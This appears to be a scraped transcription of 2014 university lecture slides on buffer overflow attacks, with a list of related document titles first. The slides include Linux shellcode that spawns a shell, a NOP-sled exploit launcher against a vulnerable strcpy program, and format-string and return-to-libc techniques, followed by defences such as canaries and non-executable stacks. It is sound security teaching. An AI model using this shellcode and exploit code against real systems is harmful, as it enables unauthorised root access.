Buffer Overflow CSC WAKE FOREST. U N I V E R S I T Y Department of Computer Science. Fall 2014

Similar documents
Software security. Buffer overflow attacks SQL injections. Lecture 11 EIT060 Computer Security

Unix Security Technologies. Pete Markowsky <peterm[at] ccs.neu.edu>

Software Vulnerabilities

CSCE 465 Computer & Network Security

Module 26. Penetration Testing

Buffer Overflows. Code Security: Buffer Overflows. Buffer Overflows are everywhere. 13 Buffer Overflow 12 Nov 2015

Format string exploitation on windows Using Immunity Debugger / Python. By Abysssec Inc

Stack Overflows. Mitchell Adair

Introduction to Information Security

Advanced IBM AIX Heap Exploitation. Tim Shelton V.P. Research & Development HAWK Network Defense, Inc. tshelton@hawkdefense.com

Defending Computer Networks Lecture 3: More On Vulnerabili3es. Stuart Staniford Adjunct Professor of Computer Science

Design of a secure system. Example: trusted OS. Bell-La Pdula Model. Evaluation: the orange book. Buffer Overflow Attacks

Bypassing Memory Protections: The Future of Exploitation

Hacking Techniques & Intrusion Detection. Ali Al-Shemery arabnix [at] gmail

CSC 405 Introduction to Computer Security

Cryptography and Network Security Prof. D. Mukhopadhyay Department of Computer Science and Engineering

During this chapter we will have some standards, I'll use and example to illustrate them: As you can see now we've exploited the program

MSc Computer Science Dissertation

1) The postfix expression for the infix expression A+B*(C+D)/F+D*E is ABCD+*F/DE*++

SECURITY B-SIDES: ATLANTA STRATEGIC PENETRATION TESTING. Presented by: Dave Kennedy Eric Smith

Defense in Depth: Protecting Against Zero-Day Attacks

Off-by-One exploitation tutorial

Bypassing Browser Memory Protections in Windows Vista

CS Computer Security Thirteenth topic: System attacks. defenses

An Implementation of a Tool to Detect Vulnerabilities in Coding C and C++

Hotpatching and the Rise of Third-Party Patches

Cataloguing and Avoiding the Buffer Overflow Attacks in Network Operating Systems

telnetd exploit FreeBSD Telnetd Remote Exploit Für Compass Security AG Öffentliche Version 1.0 Januar 2012

Hands-on Hacking Unlimited

Embedded Systems. Review of ANSI C Topics. A Review of ANSI C and Considerations for Embedded C Programming. Basic features of C

ERNW Newsletter 51 / September 2015

Leak Check Version 2.1 for Linux TM

Exploiting nginx chunked overflow bug, the undisclosed attack vector

Modern Binary Exploitation Course Syllabus

I Control Your Code Attack Vectors Through the Eyes of Software-based Fault Isolation. Mathias Payer, ETH Zurich

Return-oriented Programming: Exploitation without Code Injection

Custom Penetration Testing

ASL IT SECURITY XTREME XPLOIT DEVELOPMENT

風 水. Heap Feng Shui in JavaScript. Alexander Sotirov.

Return-oriented programming without returns

ASCII Encoding. The char Type. Manipulating Characters. Manipulating Characters

Practical taint analysis for protecting buggy binaries

Dependable Software Systems. Security Testing SERG

Fuzzing Apache OpenOffice

Testing for Security

Lecture 11 Doubly Linked Lists & Array of Linked Lists. Doubly Linked Lists

Embedded Software Development

Department of Electrical Engineering and Computer Science MASSACHUSETTS INSTITUTE OF TECHNOLOGY Operating System Engineering: Fall 2005

Attacking Obfuscated Code with IDA Pro. Chris Eagle

System Calls and Standard I/O

Coverity White Paper. Reduce Your Costs: Eliminate Critical Security Vulnerabilities with Development Testing

Topics in Security Testing. [Reading assignment: Chapter 13, pp Note that many more topics are covered in these slides and in class.

Debugging with TotalView

Lecture 22: C Programming 4 Embedded Systems

Virtual Servers. Virtual machines. Virtualization. Design of IBM s VM. Virtual machine systems can give everyone the OS (and hardware) that they want.

C++ INTERVIEW QUESTIONS

Chapter 15 Operating System Security

Comp151. Definitions & Declarations

CSC 2405: Computer Systems II

SECURITY APPLICATIONS OF DYNAMIC BINARY TRANSLATION DINO DAI ZOVI THESIS. Submitted in Partial Fulfillment of the Requirements for the Degree of

The programming language C. sws1 1

For a 64-bit system. I - Presentation Of The Shellcode

Linux Driver Devices. Why, When, Which, How?

Lecture 7: Machine-Level Programming I: Basics Mohamed Zahran (aka Z)

GSM. Global System for Mobile Communications, Security in mobile phones. System used all over the world. Sikkerhed04, Aften Trusler

CVE Adobe Flash Player Integer Overflow Vulnerability Analysis

Automated Faultinjection Series - Risk Management and Implementation

From SQL Injection to MIPS Overflows

How To Write Portable Programs In C

Member Functions of the istream Class

GDB Tutorial. A Walkthrough with Examples. CMSC Spring Last modified March 22, GDB Tutorial

Jonathan Worthington Scarborough Linux User Group

Base Conversion written by Cathy Saxton

Data on Kernel Failures and Security Incidents

Peach Fuzzer Platform

Assembly Language: Function Calls" Jennifer Rexford!

Informatica e Sistemi in Tempo Reale

How to Sandbox IIS Automatically without 0 False Positive and Negative

Bachelors of Computer Application Programming Principle & Algorithm (BCA-S102T)

Unix Security Technologies: Host Security Tools. Peter Markowsky <peterm[at]ccs.neu.edu>

(General purpose) Program security. What does it mean for a pgm to be secure? Depends whom you ask. Takes a long time to break its security controls.

CS10110 Introduction to personal computer equipment

File Handling. What is a file?

An Introduction to Assembly Programming with the ARM 32-bit Processor Family

How I Learned to Stop Fuzzing and Find More Bugs

Static Code Analysis Procedures in the Development Cycle

An Analysis of Address Space Layout Randomization on Windows Vista

Bug hunting. Vulnerability finding methods in Windows 32 environments compared. FX of Phenoelit

X86-64 Architecture Guide

Detecting the Presence of Virtual Machines Using the Local Data Table

Malware and Attacks Further reading:

Where s the FEEB? The Effectiveness of Instruction Set Randomization

This is great when speed is important and relatively few words are necessary, but Max would be a terrible language for writing a text editor.

Application Security: Web service and

Certified Ethical Hacker (CEH) Ethical Hacking & Counter Measures Course 9962; 5 Days, Instructor-Led

CS61: Systems Programing and Machine Organization

static void insecure (localhost *unix)

The Advantages of Block-Based Protocol Analysis for Security Testing

Software Development Tools for Embedded Systems. Hesen Zhang

Transcription:

Buffer Overflow CSC 348 648 WAKE FOREST U N I V E R S I T Y Department of Computer Science Fall 2014 Buffer Overflows and Security Buffer overflows are the most common security vulnerability First major exploit, 1988 Internet worm (fingerd) 800 Buffer error exploits 600 400 200 0 1999 2000 2001 2002 2003 2004 2005 2006 2007 2008 2009 2010 2011 2012 2013 2014 Number of Buffer Error CERT Advisories Year 1999 2000 2001 2002 2003 2004 2005 2006 2007 2008 2009 2010 2011 2012 2013 2014 Advisory 4 1 8 42 56 27 69 141 434 564 562 536 662 725 759 622 (so far...) E. W. Fulp CSC 348 648 Fall 2014 1

Buffer Overflow Ingredients A program that SUID to root Arrange root-grabbing code in the program s address space Get the program to jump to that code Often leads to a total compromise of a machine E. W. Fulp CSC 348 648 Fall 2014 2 Process Memory Organization Process memory is divided into three regions: text, data, and stack text low memory address memory initialized data uninitialized Text region stack high memory address Fixed by the program and includes program instructions Read-only data, writing to it causes a segmentation fault Data region Initialized and uninitialized data Static variables and heap memory Stack - ADT used for function calls E. W. Fulp CSC 348 648 Fall 2014 3

Function Calls and the Stack When a function is called, execution jumps to the function Execution continues until the function end is reached Once finished execution returns to statement after the call What about function parameters, return values, etc...? The stack aids in the proper execution of a function Local function variables are allocated Parameters and return values are stored also stored Why is a stack used? Isn t it deterministic? E. W. Fulp CSC 348 648 Fall 2014 4 Stack A stack is a simple and flexible ADT Viewed as a continuous block of memory Stack Pointer (SP) points to top Operations take place at the top (PUSH and POP) The bottom of the stack is a fixed address push pop stack top bottom When a function is called the stack contains Function parameters Data required to recovery from the function call This includes the return address of the calling statement E. W. Fulp CSC 348 648 Fall 2014 5

Example Stack Contents Consider the following program void function(int a, int b, int c) char buffer1[8]; char buffer2[16]; void main() function(1, 2, 3); If you look at the assembler associated with the call pushl $3 pushl $2 pushl $1 call function Parameters pushed in reverse order call statement pushes the return address E. W. Fulp CSC 348 648 Fall 2014 6 Just before starting the function, the stack is buffer2 low memory address buffer1 memory sfp ret a b c high memory address The function copies the current function pointer as SFP Local variables are placed on the stack E. W. Fulp CSC 348 648 Fall 2014 7

Buffer Overflow Simply putting more data in a buffer than it can handle Take advantage of this to run arbitrary code Consider the following program void function(char* str) char buffer[16]; strcpy(buffer, str); void main() char largestr[256]; for(int i = 0; i < 256; i++) largestr[i] = A ; // in hex this is Ox41 function(largestr); After compiling, executing causes a segmentation fault E. W. Fulp CSC 348 648 Fall 2014 8 To understand what happens, consider the stack when the function is called buffer top (low memory) SFP ret str* bottom (high memory) strcpy() copies the contents of str into buffer, until a \0 is encountered in the string (pointed to by str*) However size of memory pointed by str is larger than buffer strcpy continues copying, overwriting SFP and ret Why are we moving towards the bottom? The return address (ret) would be 0x41414141 E. W. Fulp CSC 348 648 Fall 2014 9

A segmentation fault occurs when the function attempts to return The address 0x41414141 is outside process address space The process attempts the read and seg faults Therefore, buffer overflow allows us to change a return address In this way we can change the program flow Objective is to change the return address to our code E. W. Fulp CSC 348 648 Fall 2014 10 A Friendly Buffer Overflow Lets change the first program so it overwrites the return address Remember the stack before the function is called is buffer2 (16 bytes) top (low memory) buffer1 (8 bytes) SPF (4 bytes) ret (4 bytes) a (8 bytes) b (8 bytes) c (8 bytes) bottom (high memory) ret is before SFP, which is before buffer1 ret is 4 bytes beyond the end of buffer1 So the address of ret is buffer1 + 12 Why is it +12? E. W. Fulp CSC 348 648 Fall 2014 11

Let s alter the code to take advantage of the ret address void function(int a, int b, int c) char buffer1[8]; char buffer2[16]; int* ret; // stores an address ret = (int *)(buffer1 + 12); // points to return address (*ret) += 8; // set to next instruction void main() int x = 0; function(1, 2, 3); x = 1; cout << x << \n ; // only 8 bytes from previous E. W. Fulp CSC 348 648 Fall 2014 12 What happens when the program runs? Originally ret stores the address of x = 1; in main The function adds 8 to this address ret now points to next instruction, cout << x << \n ; (so the instruction x = 1; is skipped) Terminal > g++ -o retchange retchange.cpp > retchange 0 E. W. Fulp CSC 348 648 Fall 2014 13

A Less-Friendly Buffer Overflow We can modify a return address and execution flow What would we like to execute? Typically a program that spawns a shell What if the program doesn t have this code? Just place the shell code in the buffer you are overflowing Then have ret point back to this program, easy... buffer2 shell code 0xd8 top (low memory) buffer1 shell code SPF shell code ret 0xd8 a data b data c data 0xff bottom (high memory) E. W. Fulp CSC 348 648 Fall 2014 14 Shell Code Since the instructions are on the stack they must be in assembler But Dr. Cañas only taught us... Let g++ do the work The C code to spawn a shell is #include<stdio.h> void main() char* name[2]; name[0] = "/bin/sh"; // the Unix command to spawn a shell name[1] = NULL; execve(name[0], name, NULL); Now compile with g++ -static -g and view using gdb E. W. Fulp CSC 348 648 Fall 2014 15

Since spawning a shell is common, assembler is available Smashing the Stack for Fun and Profit has a list of assembler code for different platforms Well, that references is a bit old... Metasploit will do it Example shell code for Linux is char shellcode[] = "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" "\x80\xe8\xdc\xff\xff\xff/bin/sh"; E. W. Fulp CSC 348 648 Fall 2014 16 Simple Spawning a Shell Program char shellcode[] = "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" "\x80\xe8\xdc\xff\xff\xff/bin/sh"; void main() int *ret; \\ stores an address ret = (int *)&ret + 2; \\ address of return (main function) (*ret) = (int)shellcode; \\ set return to address of shell code Terminal > g++ -o testshell testshell.cpp > testshell bash$ E. W. Fulp CSC 348 648 Fall 2014 17

But remember, a standard program does not have the shellcode in the program to jump to... We will load the buffer with the program directly E. W. Fulp CSC 348 648 Fall 2014 18 Putting the Pieces Together char shellcode[] = "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" "\x80\xe8\xdc\xff\xff\xff/bin/sh"; char largestring[128]; // hackers don t fear globals... void main() char buffer[96]; long* longptr = (long *) largestring; // buffer to overflow // point to string for(int i = 0; i < 32; i++) *(longptr + i) = (int) buffer; for(int i = 0; i < strlen(shellcode); i++) largestring[i] = shellcode[i]; strcpy(buffer, largestring); // copy addr of buffer // copy shellcode // cause overflow E. W. Fulp CSC 348 648 Fall 2014 19

In the preceding program Filled entire largestring with address of buffer Overwrote shellcode into beginning of largestring strcpy largestring into buffer, hopefully a successful buffer overflow will occur What is meant by a successful over flow? The shellcode is still in the program, not realistic But we can send the shellcode if the program accepts input For example a command line argument The concepts remain the same As you may guess the buffer sizes are not arbitrary... E. W. Fulp CSC 348 648 Fall 2014 20 Realistic Buffer Overflow Lets overflow the following program vulnerable.cpp void main(int argc, char *argv[]) char buffer[512]; if (argc > 1) strcpy(buffer, argv[1]); // unbounded copy, bad idea We will overflow the command line argument Load shell program and rewrite ret If the program was SUID root... E. W. Fulp CSC 348 648 Fall 2014 21

The next program causes the overflow Separate program that executes vulnerable Creates string consisting of shell code and address Passes string as command line argument to vulnerable This program is more difficult to create Since it is a separate program, some information is not known Don t know exactly where the buffer to overflow is Cannot use an address of a local variable to determine ret Will have to make a guess and provide an offset E. W. Fulp CSC 348 648 Fall 2014 22 #define<stdio.h> #define DEFAULT_OFFSET 0 #define DEFAULT_BUFFER_SIZE 512 #define NOP 0x90 char shellcode[] = "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" "\x80\xe8\xdc\xff\xff\xff/bin/sh"; unsigned long get_sp(void) asm ("movl %esp,%eax"); // get SP location, see paper void main(int argc, char *argv[]) char *buff, *ptr; long *addr_ptr, addr; int offset = DEFAULT_OFFSET, int bsize = DEFAULT_BUFFER_SIZE; // points to shell code // base address E. W. Fulp CSC 348 648 Fall 2014 23

if(argc > 1) bsize = atoi(argv[1]); if(argc > 2) offset = atoi(argv[2]); addr = get_sp() - offset; printf("using address: 0x%x\n", addr); buff = malloc(bsize); ptr = buff; addr_ptr = (long *) ptr; for(i = 0; i < bsize; i+=4) *(addr_ptr++) = addr; for(i = 0; i < bsize/2; i++) buff[i] = NOP; // addr of shell, we hope // allocate space for code // point to our buffer // incr by 4 since address // fill with shell address // add NO-OPs at beginning ptr = buff + ((bsize/2) - (strlen(shellcode)/2)); for(i = 0; i < strlen(shellcode); i++) *(ptr++) = shellcode[i]; // copy shell code buff[bsize - 1] = \0 ; // make proper C-string execl("./vulnerable", "vulnerable", buff); // issue command E. W. Fulp CSC 348 648 Fall 2014 24 Review We have only presented an overview to buffer overflows Details in Smashing the Stack for Fun and Profit This lecture borrowed ideas presented in this paper Many small details have been omitted Proper shellcode creation (it s a C-string, no early \0 ) Manipulating the stack to determine the return address Attacker needs to know CPU and OS are of target machine Our examples are for x86 running Linux... kinda Details about CPUs and OSs, stack frame structure, and stack growth direction E. W. Fulp CSC 348 648 Fall 2014 25

Other Overflows Previous overflows described are based on C-strings Copy over the ret address using a char array low memory high memory NO-OPs local variables ret /bin/sh address for shell However vulnerabilities do not rely on array copying Following is vulnerable (DirectX CERT Advisory CA-2003-18) void func(int a, char v) char buf[128]; init(buf); buf[3*a+1] = v; Why? Can an overflow attack occur with any type array? E. W. Fulp CSC 348 648 Fall 2014 26 Integer Overflows Integers are fixed size, there is a maximum value it can store Assigning a number too large is an overflow error ISO C99 standard, integer overflow causes undefined behaviour which indicates anything can happen Integer overflows are not like most common bug classes Do not allow direct overwriting of memory The root of the problem lies in the fact that there is no way for a process to check the result of a computation after it has happened, so there may be a discrepancy between the stored result and the correct result Force a crucial variable to contain an erroneous value, and this can lead to problems later in the code... http://www.phrack.org/show.php?p=60&a=10 E. W. Fulp CSC 348 648 Fall 2014 27

Format Strings Most languages provide function to display formatted data Formating commands are stored as a C-string, format string Security problem exists if a user can specify the format string Consider the following C/C++ program int main(int argc, char* argv[]) if(argc > 1) printf(argv[1]); return 0; Terminal >./a.out "Nirre-Pluf" Nirre-Pluf E. W. Fulp CSC 348 648 Fall 2014 28 Format String Vulnerabilities Using the previous program, try the string "%x %x" Terminal >./a.out "%x %x" 12ffc0 4011e5 What happened? Is printf(char *) really legal? Consider the header statement for printf (given in stdio.h) printf(const char * restrict,...) The... allows a variable number of arguments printf("nirre Pluf"); printf("%x", i); printf("%x%x"); /* yes, it s legal */ E. W. Fulp CSC 348 648 Fall 2014 29

From the printf man Page printf formats and prints its arguments, after the first, under control of the format-string The format-string is a C-string which contains 3 types of objects 1. Plain characters, which are simply copied to standard output 2. Character escape sequences, which are converted and copied to the standard output 3. Format specifications, which causes printing of the next successive argument The format string is reused as often as necessary to satisfy the arguments, any extra format specifications are evaluated with zero What about the opposite question? E. W. Fulp CSC 348 648 Fall 2014 30 Format String Operation printf is a function call Arguments for the function call are pushed on the stack Remember the order? First argument popped is the format string If format string has format commands, pop arguments What if no other arguments were pushed? Therefore the attacker can determine the stack and ret address So what, we want to write to (overload) the stack... E. W. Fulp CSC 348 648 Fall 2014 31

%n %n is among the least known format specifications Writes number of chars that should have been written into the address of the variable given as the corresponding argument int main(int argc, char* argv[]) unsigned int b; printf("%s%n\n", argv[1], &b); printf("input was %d characters long\n", b); return 0; Terminal >./a.out "Some random input" Input was 17 characters long E. W. Fulp CSC 348 648 Fall 2014 32 Protecting Format Strings The following format is susceptible printf(userinput); Why would you ever use it? Do not let the user specify the format string Better alternatives printf("%s", userinput); std::cout << userinput; Format string vulnerability applies to any of the print functions For example? E. W. Fulp CSC 348 648 Fall 2014 33

Return to libc Overflow Classical smashing the stack requires a large buffer Large enough to store the shell code and return address low memory high memory local variables NO-OPs /bin/sh address for shell However many buffers are too small to store this info If it is too small for the shell code, then it will fail... return-to-libc can make the attack successful ret E. W. Fulp CSC 348 648 Fall 2014 34 Return-to-libc is very similar to smashing the stack Return address is changed to the system() function Pass a parameters and let the system() do the work low memory local variables NO-OPs ret high memory address for system() /bin/sh What parameter? Why does making the stack non-executable offer no protection? E. W. Fulp CSC 348 648 Fall 2014 35

Dealing with Overflows Preventing overflows Better programming practices (type safe languages) Statically analyzing the source Dynamically detecting overflows Stopping using hardware and/or OS support Non-executable stack Stack randomization Canaries E. W. Fulp CSC 348 648 Fall 2014 36 Better Programming Practices Main problem has been the following standard functions strcpy(), strcat(), sprintf() What is the issue with these functions? Safer versions available, but they have problems strncpy() can leave a buffer unterminated The most common misconception is that strncpy() NUL-terminates the destination string. This is only true, however, if length of the source string is less than the size parameter When using strncat() do you have to account space for null? Are there alternatives? E. W. Fulp CSC 348 648 Fall 2014 37

Static Analysis One of the best ways to prevent the exploitation of buffer overflow vulnerabilities is to detect and eliminate them from the source code Statically check the source code to detect buffer overflows Several consulting companies are available Automated tools exist MS PREfix searches for a fixed set of bugs Detail, path-by-path procedural analysis Expensive, 4 days on Windows MS PREfast newer faster version of PREfix What is an underlying problem with these approaches? Remember the good old days of finding CSC 112 memory leaks? Are code reviews successful? E. W. Fulp CSC 348 648 Fall 2014 38 OpenBSD Since 1996 OpenBSD has assign developers to audit source code As many as 12 auditors per project As a result, it has one of the best reputations for security Historically one of the lowest rates of reported vulnerabilities OpenBSD made additional security changes in 2003 Stack randomization to make exploitation more difficult Modify memory segments to ensure they are not writable and executable E. W. Fulp CSC 348 648 Fall 2014 39

Dynamic Analysis Analysis of software during execution (run-time) Instrumentation at compile-time or wrap the binary executable Valgrind used for memory debugging and leak detection, and profiling Intercepts calls to malloc and free Can detect fine-grained buffer overflow detection on the heap CCured is compiler-based and instruments the code (given direction) Adds metadata to pointers such as a pointer classification, memory areas size, and the types of the values memory should contain Awesome, but a key part is missing for any of the above E. W. Fulp CSC 348 648 Fall 2014 40 Fuzzing Providing invalid, unexpected, or random data to the inputs of a computer program A form of black-box testing Run the program and attempt a systematic crash For example, run service (program) on a local machine Issue requests with log tags "$$$$$" When the system crashes search core dump for the tag (so Valgrind could be helpful here) How does this show the vulnerability? Actually, fuzzing is more complicated than this... There are automated tools (Peach and Ramdamsa) https://www.owasp.org/index.php/fuzzing E. W. Fulp CSC 348 648 Fall 2014 41

Non-Executable Stack Most CPUs do not distinguish between permission to read or execute at a given area of memory So what? What about segmentation faults? Mark the stack as non-executable NX bit on AMD Athlon 64 and Intel P4 Prescott and Itanium...irony that, after decades of trying to improve how quickly and efficiently CPUs can run code, the newest, most fashionable processor feature is the ability to not run code... Certain pages of memory can be marked as non-execute Support exists for XP SP2 (2004), Linux, and Solaris E. W. Fulp CSC 348 648 Fall 2014 42 Disadvantages to non-executable stack Does not prevent a return to libc exploit What? Some applications need an executable stack For example (Dr. John s favorite language)? Java just in time code generation must be rewritten E. W. Fulp CSC 348 648 Fall 2014 43

Run-Time Checks StackGuard (WireX) embeds canaries in the stack Special values placed between the local and ret values After function call integrity of canary values are checked local variables canary low memory address memory sfp ret function arguments high memory address How can you defeat this guard? E. W. Fulp CSC 348 648 Fall 2014 44 Different types of stack canaries Random canary creates a random string that is inserted into every stack Terminator canary places \0 in the stack, for example StackGuard uses the four bytes NULL, CR, LF, and EOF How does this prevent an overflow? E. W. Fulp CSC 348 648 Fall 2014 45

Simple Canary It s possible to create a simple canary in a program #include <stdlib.h> #include <stdio.h> #include <string.h> int function(char *str) int canary = secret; char buffer[12]; /* The following statement has a buffer overflow problem */ strcpy(buffer, str); if (canary == secret) // Return address is not modified return 1; else // Return address is potentially modified... Yo! you killed my canary, do some error handling... static int secret; // a global variable E. W. Fulp CSC 348 648 Fall 2014 46 int main(int argc, char* argv[]) secret = rand(); char str[517]; FILE *badfile; badfile = fopen("badfile", "r"); fread(str, sizeof(char), 517, badfile); function(str); printf("returned properly, go about your business... \n"); return 1; Dependent on how stack memory is organized If buffer is overwritten, canary may also be overwritten This approach is too simple, but you could add more... E. W. Fulp CSC 348 648 Fall 2014 47

Windoze XP SP2 Has a non-executable stack Compiler /GS option adds more protection Enables a random canary Causes an UnHandledException if there is a canary mismatch Litchfield found another vulnerability Overflow overwrites the exception handler Redirect exception to attack code These are similar to the return-to-libc exploit E. W. Fulp CSC 348 648 Fall 2014 48